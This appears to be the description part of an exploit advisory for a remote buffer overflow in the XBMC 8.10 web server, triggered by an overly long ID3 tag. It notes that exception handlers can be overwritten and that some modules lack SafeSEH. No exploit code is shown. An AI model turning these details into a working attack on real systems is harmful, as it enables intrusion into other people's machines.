Xbmc get tag from file name request remote buffer overflow 8.10 !!! 
 
Tested:Win xp sp2 eng
Vendor url:http://xbmc.org/ 
 
versions affected: 
Linux windows < tested 
other versions are also possibly affected. 
Release date:April the 1st 2009 

Restrictions:No filtering needed.
This exploit happens when parsing and overly long id3
tag to the web server.Dont think i covered this much
in the poc code as i was running out of time on this
exploit.


We are able to overwrite the exception handlers also so 
creating a reliable exploit for vista and xps3 shouldn't 
be to hard have a look there are some modules loaded with 
out /safe seh. 

Credits to n00b for finding the buffer overflow and writing 
poc code and exploit.
